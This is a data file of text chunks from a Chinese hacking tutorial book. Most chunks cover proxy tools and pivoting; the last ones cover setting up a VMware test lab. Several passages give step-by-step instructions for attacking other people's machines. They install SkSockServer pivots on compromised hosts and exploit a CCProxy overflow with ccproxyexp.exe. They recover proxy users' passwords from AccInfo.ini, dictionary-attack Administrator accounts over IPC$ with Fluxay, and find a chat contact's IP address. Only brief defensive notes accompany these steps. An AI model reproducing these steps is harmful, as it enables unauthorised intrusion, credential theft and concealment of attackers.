    {"text": "步骤2：此外，用户还可在“验证数据设置”选项卡中添加、修改和删除“验证资源地址”及其参数，如图7-14所示。 图 7-14 设置验证参数 步骤3：在“代理调度设置”选项卡中还可设置代理调度参数，以及代理调度范围等选项，如图7-15所示。 在“其它设置”选项卡中可设置拨号、搜索验证历史、运行参数等选项，如图7-16所示。 图 7-15 设置代理调度参数 图 7-16 其他参数设置 步骤4：在设置好代理猎手的各项参数之后，选择【搜索任务】→【开始搜索】菜单项，即可开始搜索设置的IP地址范围。"},
    {"text": "步骤1：选择“搜索结果”选项卡，其中“验证状态”为Free的代理，即为可以使用的代理服务器，如图7-17所示。 一般情况下，验证状态为Free的代理服务器很少，但只要验证状态为\"Good\"就可以使用了。 图 7-17 查看搜索结果 步骤2：在找到可用的代理服务器之后，将其IP地址复制到【代理调度】选项卡中，代理猎手就可以自动为服务器进行调度了，多增加几个代理服务器可以有利于网络速度的提高，如图7-18所示。 图 7-18 添加代理调度 小技巧 用户也可以将搜索到的可用代理服务器IP地址和端口，输入到网页浏览器的代理服务器设置选项中，这样，用户就可以通过该代理服务器进行网上冲浪了。"},
    {"text": "2.WaysOnline代理实战上手 局域网主机受防火墙保护或阻隔，不能被外网用户访问。 很多时候如果想共享文件，又不想关掉防火墙，在经过WaysOnline通讯代理之后，就可以实现网间互相访问。"},
    {"text": "图 7-19 填写账号 图 7-20 显示服务端口 （2）代理设置 若Ways OnlineV2能够启动，但是不能使用或是通过代理服务器上网，请在【代理】选项卡中检查代理服务器配置。 Ways OnlineV2目前支持直接上网、通过HTTP代理或Socks代理上网三种通讯方式。"},
    {"text": "请指定用HTTP代理，强制使用HTTP通讯格式。 指定\"HTTP\"代理还具有防断线功能，若网络频繁断线，也可以指定使用\"HTTP\"代理类型，代理地址和端口不填或为空即可。"},
    {"text": "图 7-21 设置代理服务器 （3）主机设置 通过SocksOnline V2可让互联网或其他SocksOnline V2用户访问自己的主机，可开放自己的Web服务提供互联网访问或联网打游戏。"},
    {"text": "在如图7-23所示的【设置】选项卡中，“服务端口”若启动时报端口只能使用一次，表示服务端口有冲突，不能使用导致启动失败，可改成其他端口试试，如1081。"},
    {"text": "图 7-23 【设置】选项卡 “启用断线恢复”是防止网络断线的断线恢复功能，启用了以后可以有效防止网络断线，但相应的速度会有所降低，系统默认是灰色，并未完全开启。 尝试关闭该功能，若有部分应用关闭后不能正常使用，请恢复开启断线恢复。"},
    {"text": "切换至【服务】选项卡，“启用DNS查询”是在本机建立DNS查询服务，如图7-24所示。 启用后只要在本机的DNS服务器里加入自己的IP或“127.0.0.1”，即可支持域名到IP的转换查询。"},
    {"text": "如MS Outlook不支持代理，可以将本机端口和Email服务器做个映射，将本机变成Email服务器。 如：若要接收21cn.com的邮件，只要将本机“110”端口和21cn的邮件服务器\"pop3.21cn.com:110\"，通过建立映射关系，Outlook只要收取\"localhost:110\"，就能收到\"pop3.21cn.com:110\"的邮件了。 在如图7-25所示的【映射】选项卡中，“端口”文本框中输入本机端口号，“到”文本框中输入建立映射关系的Internet服务器端口，单击【增】按钮即可。 图 7-25 【映射】选项卡 删除映射时，输入端口号，【增】就会变成【删】，点击【删】即可删除映射。"},
    {"text": "图 7-26 【信息】选项卡 3.代理跳板建立的全攻略 Socks代理软件包括两个文件，一个是SkSockServer.exe，用于将一个现有“肉鸡”制作成Socks5代理服务器；"},
    {"text": "（1）在“肉鸡”上安装跳板 先将SkSockServer.exe复制到“肉鸡”上，“肉鸡”的操作系统要求是Windows NT/2000/XP。 再通过Telnet登录到“肉鸡”，在命令提示符窗口中执行下列命令，将文件SkSockServer.exe安装到“肉鸡”上。"},
    {"text": "步骤1：双击运行SkServerGUI.exe之后，在SkServerGUI主窗口中选择【配置】→【客户端】菜单项，即可打开【客户端设置】对话框，如图7-27所示。 图 7-27 设置客户端 步骤2：在\"IP\"文本框中输入IP地址，再在“掩码”文本框中输入“255.255.255.255”，并勾选“E允许”复选框后，单击【增加】按钮，即可将其添加到客户端列表中。 步骤3：单击【OK】按钮，即可完成对客户端的设置。"},
    {"text": "图 7-28 设置代理跳板 步骤2：在相应文本框中输入已验证通过的IP地址、端口以及代理跳板的描述，并勾选“E允许”复选框，单击【增加】按钮，即可将该代理添加到代理跳板的列表中。 步骤3：在选取某个已经添加的代理跳板之后，单击【测试】按钮，即可弹出一个【Test SkServer】对话框，如图7-29所示。 图 7-29 测试代理跳板 步骤4：单击【开始】按钮，即可检测该代理跳板是否能够正常连接，一个\"Y\"表示使用一级跳板。 如果要使用二级跳板，则可在代理列表框中选择需要作为二级跳板的代理并勾选“E允许”复选框，单击【更改】按钮，即可使用二级跳板。 提示 在代理跳板列表的\"Active\"列中有\"Y\"，表示该代理加入使用的行列，如果在添加时没有勾选“E允许”复选框，则标记为\"N\"，表示该代理没有被使用。"},
    {"text": "步骤5：在全部设置好之后，单击【OK】按钮，即可完成设置。 4.设置运行参数 最后需要对运行参数进行一下设置，具体方法如下。 步骤1：在SkServerGUI.exe主窗口中选择【配置】→【运行选项】菜单项，即可打开【Run Option Setting】对话框，如图7-30所示。 图 7-30 设置运行参数 步骤2：在“服务运行端口”文本框中输入本软件的运行端口之后，在其中选择所需的复选框，最后单击【OK】按钮，即可结束设置操作。"},
    {"text": "未知 第64招 代理软件CCProxy中的漏洞 CCProxy可以完成代理共享上网和客户端代理权限管理。只要局域网内有一台机器能够上网，其他机器就可以通过这台机器上安装的CCProxy来代理共享上网，最大程度地减少了硬件费用和上网费用。只需要在服务器上CCProxy代理服务器软件里进行账号设置，就可以方便地管理客户端代理上网的权限。 CCProxy代理软件因其设置简单和使用方便等特点，成为国内最受欢迎的代理服务器软件，其主界面如图7-31所示。它不但支持常见的HTTP和Socks代理，而且还支持FTP和Telnet这类不常用的代理，如图7-32所示。 图 7-31 CCProxy界面 图 7-32 设置代理服务器 它还可以控制用户代理上网的权限，设置访问代理服务器的用户名和密码，如图7-33所示，功能非常强大。但这款代理软件存在一个溢出漏洞，攻击者可通过该漏洞直接获得代理服务器的控制权。下面通过模拟黑客攻击过程介绍利用该软件漏洞进行攻击的方法。 图 7-33 设置用户名和密码 （1）寻找安装CCProxy代理软件计算机 要想利用CCProxy的安全漏洞进行攻击，就必须先找到安装了CCProxy代理软件的计算机。在默认安装情况下，CCProxy会将“23”作为Telnet服务的代理端口，“2121”作为FTP服务的代理端口。因此，只需在这些端口上进行信息探测，即可发现目标主机是不是CCProxy代理服务器。具体方法如下。 步骤1：在“命令提示符”窗口运行“Telnet目标IP端口，如Telnet 192.168.0.2:23”。 步骤2：如果目标代理服务器是处于CCProxy的免密码状态（即未曾设置代理用户名和密码），则会出现Banner信息\"CCProxy Telnet Server Ready\"，如图7-34所示。 图 7-34 查看Telnet命令返回信息 如果目标代理服务器处于CCProxy密码状态（即设置过代理用户名和密码），则会提示输入用户名（随便输入几个字符后会出现错误提示\"User Invalid\"）。这些信息都是CCProxy代理软件特有的提示信息，可以很容易地确定目标代理服务器是否安装了CCProxy。 （2）利用漏洞进行攻击 确定目标计算机后，从网上下载一个名称为ccproxyexp.exe的攻击CCProxy代理软件工具，通过它可以获得CCProxy代理软件的控制权。具体的操作方法如下。 步骤1：在“命令提示符”窗口中运行“ccproxyexp目标IP：端口”命令，如图7-35所示。这里的端口应该是CCProxy的主端口，默认是808。 图 7-35 输入ccproxyexp命令 步骤2：执行命令之后，溢出工具将询问目标计算机是否与本地计算机在一个网段内，如图7-36所示。若是则输入“y”，否则输入“n”。输入“y”后，就可以开始向目标计算机进行溢出攻击，并最终获得此代理服务器的控制权了。 图 7-36 选择目标IP与本地IP是否在同一网段 （3）破解代理用户密码 获得目标计算机代理服务器控制权后，攻击者还可以破解该代理服务器的登录用户及其密码。CCProxy将用户名和密码保存在安装目录的\"AccInfo.ini\"文件中，在溢出命令行中转到CCProxy的安装目录并输入命令\"type AccInfo.ini\"，即可看到该文件的格式如下： [System] UserCount=1 AuthModel=1 AuthType=2 TimeScheduleCount=0 WebFilterCount=0 [User001] UserName=satelli Password=943948951950951951951 MACAddress= IPAddressLow=0.0.0.0 IPAddressHigh=0.0.0.0 ServiceMask=254 MaxConn=-1 BandWidth=-1 WebFilter=-1 TimeSchedule=-1 EnableUserPassword=1 EnableIPAddress=0 EnableMACAddress=0 其中\"UserName=satelli\"字段是指代理用户名为\"satelli\"，而\"Password=943948951 950951951951\"字段是指代理用户名的密码（呈加密状态）。先将查看的密码文件内容保存为AccInfo.ini，再在本机中安装一个CCProxy（不需做任何设置），最后将AccInfo.ini复制到其安装目录中。 这样，打开本地的CCProxy并进入“账号”面板，即可发现未经过设置的验证方式已经变为“用户/密码”模式，而下面的状态栏中显示用户为\"satelli\"。查看一下这个账号的状态，即可发现密码以“*”显示，如图7-37所示。通过“密码查看器”可以将密码还原即得到此代理用户的明文密码为“8301000”，如图7-38所示。 图 7-37 查看用户密码 图 7-38 密码查看器 在得到账号和密码之后，还需测试一下所得到的用户名和密码是否能够正常使用。这里以QQ代理设置为例，进入QQ参数设置的【代理设置】面板中选择“Socks 5代理服务器”。先在“服务器”一栏输入目标代理服务器的IP地址，再在用户名和密码处填写得到的账号和密码并单击“测试”按钮，即可显示信息“代理服务器工作正常”，说明成功获得代理权。 注意 利用该漏洞攻击者可为自己找到大量的免费代理服务器，网管如果不重视它，自己的服务器就难免成为别人的跳板，甚至可能失去对服务器的控制权。 避免这类攻击的办法除升级CCProxy的版本外，还可将里面所有默认端口修改为不常见的端口，以避开这类大规模的扫描查找行为，从而在一定程度上避免服务器遭受攻击。"},
    {"text": "未知 第65招 利用SocksCap32设置动态代理 SocksCap32代理软件是一款基于Socks协议的网络代理客户端软件，它能将指定软件的任何Winsock调用转换成Socks协议的请求，并发送给指定的Socks代理服务器。可用于使基于HTTP、FTP、Telnet等协议的软件，通过Socks代理服务器连接到目的地。 使用SocksCap32软件前，需要先有一个Socks的代理服务器（不管是用代理猎手找出来的，还是从各个代理网站中得到的，就是要有一个）。目前，SocksCap32软件可以通过搜索引擎找到其下载地址，并将其下载到本地磁盘中。 1.建立应用程度标识 当第一次运行SocksCap32程序时，将显示如图7-39所示的对话框。在单击【Accept】按钮同意许可协议内容之后，才能进入SocksCap32的主窗口，如图7-40所示。 图 7-39 同意许可 图 7-40 SocksCap32的主窗口 建立应用程序标识的具体操作步骤如下。 步骤1：在SocksCap32的主窗口中单击【New（新建）】按钮，即可打开【New Application Profile（新建应用程序标识项）】对话框，在“Profile Name（标识项名称）”文本框中输入新建标识项的名称，如图7-41所示。 图 7-41 【New Application Profile】对话框 步骤2：单击【Browse（浏览）】按钮，即可打开【Browse for application】对话框，在其中选择需要代理的应用程序，如图7-42所示。 图 7-42 选择应用程序 步骤3：单击【打开】按钮，即可将所选应用程序的文件名称和路径信息，添加到【New Application Profile（新建应用程序标识项）】对话框中；再单击【确定】按钮，则该应用程序（添加的应用程序可以是E-mail工具、FTP工具、Telnet工具，以及当今最热门的联网游戏等）添加完毕，如图7-43所示。 图 7-43 添加应用程序 2.设置选项 设置SocksCap32选项的具体操作步骤如下。 步骤1：在SocksCap32的主窗口中选择【File（文件）】→【Settings（设置）】菜单项，即可打开【SocksCap Settings（SocksCap设置）】对话框，如图7-44所示。 图 7-44 【SocksCap Settings】对话框 步骤2：在其中可设置已经通过验证的代理服务器及其端口号（如220.47.7.27，端口号1070），并可选择不同的Socks版本（通常选择“Socks版本5”），并选择其域名的解析方式。如果用户查找的代理服务器需要用户名和密码，且已获得该用户名和密码，则可勾选“用户名/密码”复选框。若勾选“用户名/密码”复选框，则在单击【确定】按钮之后，需要在如图7-45所示的对话框中填入用户名和密码。 图 7-45 输入用户名和密码 步骤3：在【SocksCap Settings】对话框中选择\"Direct Connections\"选项卡，在\"Direct Addresses\"选项区中可添加直接连接的IP地址，如192.167.0.2，若是一个IP地址范围则可输入219.139.100.30；也可输入域名，如.mydomain.com，如图7-46所示。 图 7-46 \"Direct Connections\"选项卡 步骤4：在\"Applications and Libraries\"选项区中可输入需要直接连接的应用程序，在\"SocksVersion 5 Direct UDP Ports\"选项区中可设置直接连接的UDP端口号。 步骤5：在\"Log\"选项卡中可进行相应的设置，如图7-47所示。单击【确定】按钮，即可结束SocksCap32的选项设置。 图 7-47 \"Log\"选项卡 在设置好代理选项并添加好代理应用程序后，在应用程序列表中选取需运行的应用程序，选择【文件】→【通过Socks代理运行】菜单项，即可启动该应用程序并通过代理进行登录。如果需要使某个应用程序通过SocksCap32代理，则必须通过SocksCap32进行启动。 未知 第66招 IP动态自由切换 MultiProxy是一个多功能个人代理服务器，使用户在连线上网时，能保护使用者的隐私，以及透过存取不同的代理服务器而提高下载速度。用户只需在MultiProxy下配置已经通过验证的代理，再定义好其他需要通过代理调度的软件，并指向MultiProxy即可，更换代理时只需在MultiProxy中进行变更，而不用再逐次地去进行更换，操作十分方便。 使用MultiProxy自动设置代理具体的操作步骤如下。 步骤1：可从Internet网上下载最新版本，若是压缩文件，则需要使用WinRAR或WinZip等专用解压缩工具将其解压，再运行它即可进入操作界面，如图7-48所示。 图 7-48 MultiProxy操作界面 步骤2：单击【选项】按钮，即可打开【选项】对话框，如图7-49所示。 图 7-49 【选项】对话框 步骤3：在“常规选择”选项卡中可设置连接的端口号、连接的线程数量、连接代理服务器的方式、选择服务器和是否测试服务器等选项。 步骤4：在“代理服务器列表”选项卡中可查看代理服务器的连接状态、添加、编辑和删除代理服务器等操作，如图7-50所示。在“高级选项”选项卡中可设置是否保存日志文件、空闲挂线时间设置和仅允许连接的IP地址等选项，如图7-51所示。 图 7-50 设置代理服务器 图 7-51 设置高级选项 步骤5：在设置完毕之后，单击【确定】按钮，即可将自己的设置保存到系统中。 步骤6：在【Internet选项】对话框中选择【连接】选项卡，如图7-52所示。单击【局域网设置】按钮，即可打开【局域网（LAN）设置】对话框，在其中设置代理服务器，如图7-53所示。 图 7-52 【连接】选项卡 图 7-53 设置网络应用程序的代理服务器 步骤7：运行指定MultiProxy代理的网络应用程序时，在MultiProxy界面中可以清楚地看到正在被调用的代理服务器，如图7-54所示。 图 7-54 查看代理调用状态"},
    {"text": "未知 第67招 组合代理服务器的深入应用 代理服务器的使用在网络安全中已经比较广泛了，它可以解决很多实际问题，例如隐藏真实地址以免遭恶意攻击等。这里将通过\"Sockscap+Sksockserver\"这个完美的代理组合，讲解如何对代理服务器进行深入应用。 1.安装与设置 安装与设置Sksockserver的方法很简单，其具体的操作步骤如下。 步骤1：下载并解压\"Sksockserver\"压缩文件，双击\"SkServerGUI.exe\"应用程序图标，即可进入\"Sksockserver\"操作界面，如图7-55所示。 图 7-55 \"Sksockserver\"操作界面 步骤2：选择【配置】→【运行选项】菜单项，即可弹出【Run Option Setting】对话框，在其中设置服务运行的端口，再单击【OK】按钮来确定服务运行的端口为“1913”，如图7-56所示。 图 7-56 【Run Option Setting】对话框 步骤3：选择【配置】→【经过的SkServer】菜单项，即可打开【经过的Sksockserver】对话框，在其中可以填写IP地址、端口号并勾选“E允许？”复选框（这里的IP地址就是用Sksockserver.exe做的代理）。单击【A增加】按钮，就可以看到这个代理已经在上面显示出来了，如图7-57所示。 图 7-57 【经过的Sksockserver】对话框 步骤4：单击【OK】按钮，即可完成代理设置。返回到主操作界面并选择【配置】→【保存设置】菜单项，即可保存这个设置。如果这个代理IP可用很长时间，就不用每次都设置了。 注意 这里的代理可以填写多个，理论上最多可设置255个跳板，不过实际上如果设置太多，速度根本就跟不上，为了不被速度拖后腿，一般只设置一个就可以了，如果速度还够快，再设置多一级也没关系。 步骤5：现在把Sksockserver最小化到状态栏，双击\"Sockscap32.exe\"应用程序图标，即可进入【Sockscap32控制台】主窗口，如图7-58所示。 图 7-58 “Sockscap32控制台”主窗口 步骤6：选择【文件】→【设置】菜单项，即可打开【Sockscap32设置】对话框，在其中指定用户的Socks服务器地址并选择使用的通讯协议版本，如图7-59所示。 图 7-59 【Sockscap32设置】对话框 步骤7：返回Sockscap32控制台主窗口，选择【文件】→【新建】菜单项或单击工具栏中 按钮，即可打开【新建应用程序标识项】对话框，在“标识项名称”文本框中输入新建标识项的名称，如图7-60所示。 图 7-60 【新建应用程序标识项】对话框 步骤8：单击“命令行”文本框右侧的【浏览】按钮，即可打开【浏览应用程序】对话框，在其中找到用户要使用跳板的\"*.exe\"文件。单击【打开】按钮，即可将想要使用的跳板文件添加进去，这里只添加了telnet.exe和3389的客户端两项（若想添加多项，则需要一个一个地添加），如图7-61所示。 图 7-61 【浏览应用程序】对话框 步骤9：在添加完毕之后，即可在【Sockscap32控制台】主窗口中查看添加的结果，如图7-62所示。 图 7-62 查看添加的结果 当然，在【Sockscap32控制台】主窗口中会发现多了两项，其中\"MSTSC\"则是大家使用的终端服务客户端。 注意 这里不是把cmd.exe拖进来的，是把C:\\windows\\system32目录下的Telnet.exe放进去的。其实大家也可以把其他的软件添加进去，比如流光、X-Scan等。 这样，Sockscap就简单设置完了，以后使用这些软件时只要在Sockscap里双击这些图标，就可以运行软件以实现跳板的功能。 2.连通性测试 下面以Telnet为例验证一下Telnet能不能隐藏大家的真实地址。具体的操作步骤如下。 步骤1：双击Sockscap32控制台里面的\"Telnet\"图标，即可弹出【Telnet登录】窗口，如图7-63所示。 图 7-63 “Telnet登录”窗口 步骤2：在当前命令提示符下输入\"open 192.168.0.12 80\"命令，即可实现Telnet隐藏真实IP的作用了，如图7-64所示。 图 7-64 测试连通性 从中可以看出\"Open IP port\"这样的格式，这里用装了RemoteNC，端口是80的机器来试验，因此在命令提示符下输入\"Open 192.168.0.12 80\"命令。当然，连接的端口也就是这个机器的80端口，而后面的地址就是客户机的地址，这个客户机地址就是设置的代理地址，这样，就可以实现Telnet隐藏真实IP的作用了。"},
    {"text": "未知 第68招 防范远程跳板式入侵 喝茶的人都知道，越是好茶就越要慢慢地品尝。在黑客的世界中也是如此，往往一些技术本身，刚接触时还感觉不到它的妙处，越是使用得久了，越是能在不经意间发现其奥妙无穷。远程跳板代理攻击模式就是这样的一种技术。 1.扫描选择目标 这里使用的工具是国内享有盛誉的流光软件，主要理由是它所特有的一种扫描模式：远程扫描模式。通过在远程肉鸡上的安装，就可以轻易实现远程跳板式扫描。 具体的操作步骤如下。 步骤1：下载并安装\"Fluxay\"软件，双击桌面上的\"Fluxay\"应用程序图标，即可进入【Fluxay】主窗口，如图7-65所示。 图 7-65 \"Fluxay\"主窗口 步骤2：选择【探测】→【扫描POP3/FTP/NT/SQL主机】菜单项，即可弹出【主机扫描设置】对话框，在其中输入需要扫描的“开始地址”和“结束地址”；在“扫描主机类型”下拉列表中选择扫描类型为\"NT/98\"选项，如图7-66所示。 图 7-66 【主机扫描设置】对话框 步骤3：将开始和结束的IP地址还有“扫描的主机类型”填写完毕后，单击【确定】按钮，流光就开始扫描目标主机了。此时可以用“断开”命令暂时断开和服务器的连接，而流光软件自动进行扫描。扫描完毕后其显示结果如图7-67所示。 图 7-67 查看扫描结果 步骤4：在“IPC$主机”下所扫描出的目标主机中任选一个右击，从快捷菜单中选择【探测】→【探测IPC$用户列表】菜单项，即可打开【IPC自动探测】对话框，则将使用专门的黑客字典对密码进行探测，如图7-68所示。 图 7-68 IPC$主机列表 步骤5：为能直接获得更大权限，需在【IPC自动探测】对话框中勾选“仅探测Administrator组的用户”复选项，如图7-69所示。单击【是】按钮，即可弹出如图7-70所示的界面。 图 7-69 【IPC自动探测】对话框 图 7-70 “本次探测用户”窗口 2.代理跳板的架设 代理架设的方法很简单，具体的操作步骤如下： 步骤1：通过3389远程登录自己的肉机，选择【开始】→【附件】→【命令提示符】菜单项，即可进入“命令提示符”窗口。 步骤2：在当前命令提示符下输入\"net use\\\\192.168.0.55\"\"/user:\"Administrator\"\"命令，即可建立空连接，如图7-71示。稍等片刻，就会显示“命令执行成功”信息。 图 7-71 “代理架设”窗口 未知 第69招 实战IP追踪 在网络管理中常常需要查找黑客或者是其他不怀好意的网民行踪，如何才能实现精确地定位某个IP地址的所在地？实际上，使用一些简单的命令和方法就可以完成黑客追踪。 1.网络定位 要实现网络定位，最简单的方法就是在IP地址查询网站上进行查询，下面随便选择一个网站为例介绍其具体的操作步骤。 步骤1：打开一个IP地址查询网站，这里打开http://www.ip.cn网站，如图7-72示。 图 7-72 IP地址查询网站 步骤2：如果要查找已知的IP地址，直接在“请输入IP地址”文本框中输入要查找的IP地址，单击【查询】按钮，即可得到需要的地址，如图7-73所示。 图 7-73 查询的地址 2.查知他人IP地址 在进行网络聊天的时候，如果想要知道对方的所在地，可以先查找对方的IP地址，再通过网络定位得知。下面以QQ为例介绍如何获得对方的IP地址，具体的操作步骤如下。 步骤1：登录QQ之后，打开【命令提示符】窗口，在命令行中输入Netstat命令来查看当前网络连接的情况，如图7-74所示。 图 7-74 查看网络链接 步骤2：结果显示中的网络连接，经过查询后得知都是QQ的服务器地址，此时，如果要想知道某个好友的IP地址，需要先使用QQ给他传送一个文件。 步骤3：在好友接收文件时，再次在命令行中输入Netstat命令，可以看到如图7-75所示的结果。显然，新的IP地址192.168.0.10就是好友的IP地址了。 图 7-75 查看好友IP地址 在进行以上操作时，用户除登录QQ外，不要打开任何其他的网络软件或浏览网页等，以免出现一些无关的IP地址。 未知 第8章 注入工具与溢出攻击 重点提示 ♂SQL注入攻击 ♂实战Cookie注入攻击 ♂跨站攻击与漏洞入侵 ♂数据库漏洞入侵 ♂文件上传漏洞入侵 ♂啊D注入工具 ♂PHP注入利器ZBSI ♂IDQ溢出攻击工具 本章精粹： 本章主要介绍了黑客比较常用的几款注入与溢出攻击工具，通过这些工具可以快速拿下一个有注入漏洞的站点，拥有不少自己的“肉鸡”，并通过扫描注入点来获得WebShell后的提升权限，以入侵目标主机。读者可针对这些工具进行防范。 当一个网站完全建立后，如果服务器与用户有大量地交互程序，而程序员又没有足够的安全意识，网站的程序漏洞就会很多，这将给网站带来不少安全隐患。而像SQL注入、Cookie注入、数据库漏洞、文件上传漏洞、啊D注入、NBSI注入、Domain注入等各种各样的代码漏洞，会让网站程序面临巨大的安全隐患。"},
    {"text": "未知 第5招 创建安全测试环境 安全测试环境是指专门用于测试和学习黑客工具操作方法的实验平台，即在已存在的系统中，利用虚拟机创建一个内在的系统，该系统可以与外界独立，但已经与存在的系统建立了网络关系，从而方便使用某些黑客工具进行模拟攻击。"},
    {"text": "1.用VMware创建虚拟系统 目前，虚拟化技术已经非常成熟，伴随着产品如雨后春笋般地出现：VMware、Virtual PC、Xen、Parallels、Virtuozzo等，但最流行、最常用的就当属VMware了。 VMware Workstation是VMware公司的专业虚拟机软件，可以虚拟现有任何操作系统，而且使用简单、容易上手。 安装VMware Workstation 6.5.2的具体步骤如下。 步骤1：下载并双击VMware Workstation 6.5.2安装软件，将弹出【VMware产品安装向导】消息框，并进入【欢迎使用VMware Workstation的安装程序】界面，如图1-78所示。 图 1-78 【欢迎使用VMware Workstation的安装程序】界面 步骤2：在【欢迎使用VMware Workstation的安装程序】界面中，单击【Next】按钮，即可打开【安装类型】对话框，在其中选择VMware Workstation安装模式，其安装类型包括典型安装和自定义安装两种。"},
    {"text": "这里选择安装类型为“典型（Typical）”安装模式，如果选择“自定义（Custom）”安装模式，则可以进一步选择其安装的组件，如图1-79所示。"},
    {"text": "图 1-79 【安装类型】对话框 步骤3：单击【Next】按钮，即可打开【安装路径】对话框，在其中指定VMware Workstation的具体安装位置，如图1-80所示。 在【安装路径】对话框中默认安装到C磁盘，如果想要安装到其他磁盘，单击【Change】按钮，即可打开【更改安装路径】对话框，在其中可以更改软件的安装位置，如图1-81所示。 图 1-80 【安装路径】对话框 图 1-81 【更改安装路径】对话框 步骤4：单击【OK】按钮返回【安装路径】对话框，继续单击【Next】按钮，即可打开【创建程序快捷方式】对话框，在其中设置是否在桌面、开始程序菜单、快速启动栏中创建该程序的快捷方式，如图1-82所示。 图 1-82 【创建程序快捷方式】对话框 步骤5：在【创建程序快捷方式】对话框中勾选想要创建的快捷方式，单击【Next】按钮，即可打开【准备安装】对话框，提示用户已经设置完毕，准备开始安装，如图1-83所示。"},
    {"text": "图 1-83 【准备安装】对话框 步骤6：在【准备安装】对话框中单击【Install】按钮，即可打开【开始安装】对话框，系统开始安装VMware Workstation软件并显示安装进度条，如图1-84所示。"},
    {"text": "图 1-84 【开始安装】对话框 图 1-85 【注册信息】对话框 步骤7：单击【Enter】按钮，在如图1-86所示对话框中单击【Finish】按钮，即可结束VMware Workstation 6.5的安装操作。 图 1-86 【完成安装】对话框 步骤8：重新启动计算机后打开“网上邻居”中的网络连接窗口，则看到VMware Workstation添加的两个网络连接，如图1-87所示。"},
    {"text": "图 1-87 VMware Workstation安装的两个连接 图 1-88 安装的两个虚拟网卡 在安装虚拟操作系统前，一定要先配置好VMware，下面介绍一下VMware的配置过程。 步骤1：双击桌面上的\"VMware Workstation\"图标，则系统显示VMware Workstation的使用协议，如图1-89所示。 图 1-89 VMware Workstation的使用协议 步骤2：选择“Yes, I accept the terms in the license agreement（我同意批准协议中的条款）”单选项，单击【OK】按钮，即可进入VMware Workstation操作界面，如图1-90所示。 图 1-90 \"VMware Workstation\"操作界面 步骤3：在VMware Workstation操作界面中单击“New Virtual Machine（新建虚拟机）”超链接，即可弹出【Welcome to the new Virtual Machine Wizard（创建虚拟机的向导）】对话框，在其中根据需要创建虚拟机类型，这里选取\"Typical（recommended）\"单选项，使用典型模式创建一个新的虚拟机，如图1-91所示。 图 1-91 【Welcome to the new Virtual Machine Wizard】对话框 步骤4：单击【Next】按钮，即可打开【Guest Operating System Installation】对话框，在其中可以选择使用光驱安装、使用系统ISO映像安装和以后安装等选项。 若选择通过光驱安装，则需将系统光盘放入光驱，如图1-92所示。 图 1-92 【Guest Operating System Installation】对话框 步骤5：单击【Next】按钮，即可打开【Easy Install Information】对话框，在其中可以输入所安装产品的序列号、用户名称、登录密码等信息，以便安装系统时自动加载，实现安装系统的无人值守功能，如图1-93所示。 图 1-93 【Easy Install Information】对话框 步骤6：单击【Next】按钮，即可打开【Name the Virtual Machine】对话框，在“Virtual machine name（命名虚拟机）”文本框和\"Location\"文本框中，分别输入该虚拟机的名字（任意的）以及该虚拟机文件将要存放的位置，如图1-94所示。 图 1-94 【Name the Virtual Machine】对话框 步骤7：单击【Next】按钮，即可打开【Specify Disk Capacity】对话框，在\"Maximum disk size\"中设置主机磁盘空间的大小，如图1-95所示。 图 1-95 【Specify Disk Capacity】对话框 步骤8：单击【Next】按钮，即可打开【Ready Create Virtual Machine】对话框，在其中可查看新创建虚拟机的各个选项设置，如图1-96所示。 图 1-96 【Ready Create Virtual Machine】对话框 步骤9：单击【Finish】按钮，即可完成虚拟机的创建。 进入虚拟机存放的路径，将会看到已生成名为\"Windows XP Professional.vmx\"的虚拟机文件，如图1-97所示。 图 1-97 查看虚拟机存放的路径 将其文件夹复制到其他计算机上，可再次用VMware导入虚拟机文件，打开建立的虚拟机系统。"},
    {"text": "步骤1：双击桌面上的\"VMware\"图标进入\"VMware\"主窗口，选择【File】→【Open】菜单项，即可弹出【打开】对话框，在其中指定刚才安装虚拟机的文件路径。 单击【打开】按钮，即可打开新创建的虚拟机。 步骤2：返回VMware主界面，单击窗口左侧的“常用”栏，在导入的虚拟机右侧窗口中，即可看到该主机硬件和软件系统信息，如图1-98所示。 图 1-98 查看该虚拟机的相关信息 步骤3：若需要对已经创建的虚拟机重新进行设置，则单击\"Edit Virtual Machine Settings\"链接，即可打开【Virtual Machine Settings】对话框，在其中根据硬件需求进行相应修改，如图1-99所示。 图 1-99 【Virtual Machine Settings】对话框 步骤4：在【Virtual Machine Settings】对话框中选择\"CD-ROM\"选项，在右侧\"Connection\"栏目中选择\"Use Physical drive\"下拉列表里的\"Auto detect\"选项。 或指定当前物理光驱盘符，单击【OK】按钮，即可在虚拟机中使用当前的光驱，如图1-100所示。 图 1-100 使用物理驱动器 步骤5：如果有光盘ISO映像文件，也可勾选\"Use ISO image file\"复选项，单击【Browse】按钮浏览指定ISO映像文件，如图1-101所示。 即将ISO映像文件作为一张光盘，在虚拟机系统中打开。 图 1-101 使用ISO映像文件 步骤6：单击【OK】按钮返回到\"VMware\"主界面中，在工具栏中有三个按钮，红色表示停止虚拟机运行，中间按钮表示暂停虚拟机运行，单击右边第三个绿色三角标志按钮，即可启动虚拟机，如图1-102所示。 图 1-102 【虚拟机启动】画面 步骤7：将鼠标在虚拟机窗口中单击，并按【F2】快捷键进入虚拟机BIOS界面。 选择\"Boot\"标签，再选取\"CD-ROM Drive\"选项，按键盘上的“+”或“-”键，将其调整到最上方，如图1-103所示。 图 1-103 【虚拟机BIOS】设置界面 步骤8：按\"F10\"快捷键，将BIOS设置保存并重启虚拟机，在光驱中放入Windows XP系统的安装光盘，使用虚拟机从光驱引导系统，如图1-104所示。 图 1-104 【光驱引导系统】界面 步骤9：按实际安装操作系统的方式进行，即可完成虚拟机系统的安装。 按\"Ctrl+G\"组合键将鼠标指针定位在虚拟机窗口中，按\"Ctrl+Alt\"组合键将鼠标指针从虚拟机释放出来。 2.虚拟机工具安装 VMware Tools是VMware提供的一套贴心工具，用于提高虚拟显卡、虚拟硬盘的性能，改善鼠标的性能，以及同步虚拟机与主机时钟的驱动程序。 安装VMware Tools不仅能够提升虚拟机的性能，还可以使鼠标指针在虚拟机内外自由移动，再也不需要使用切换键了。 安装VMware Tools的具体操作方法如下。 步骤1：先启动已经安装好操作系统的虚拟机，单击虚拟机屏幕下方的【Install Tools】按钮，或选择【VM】→【Install VMware Tools】菜单项，即可启动VMware Tools安装向导，如图1-105所示。 图 1-105 VMware Tools安装向导 步骤2：单击【下一步】按钮，在显示的对话框中选择安装方式，如图1-106所示。"},
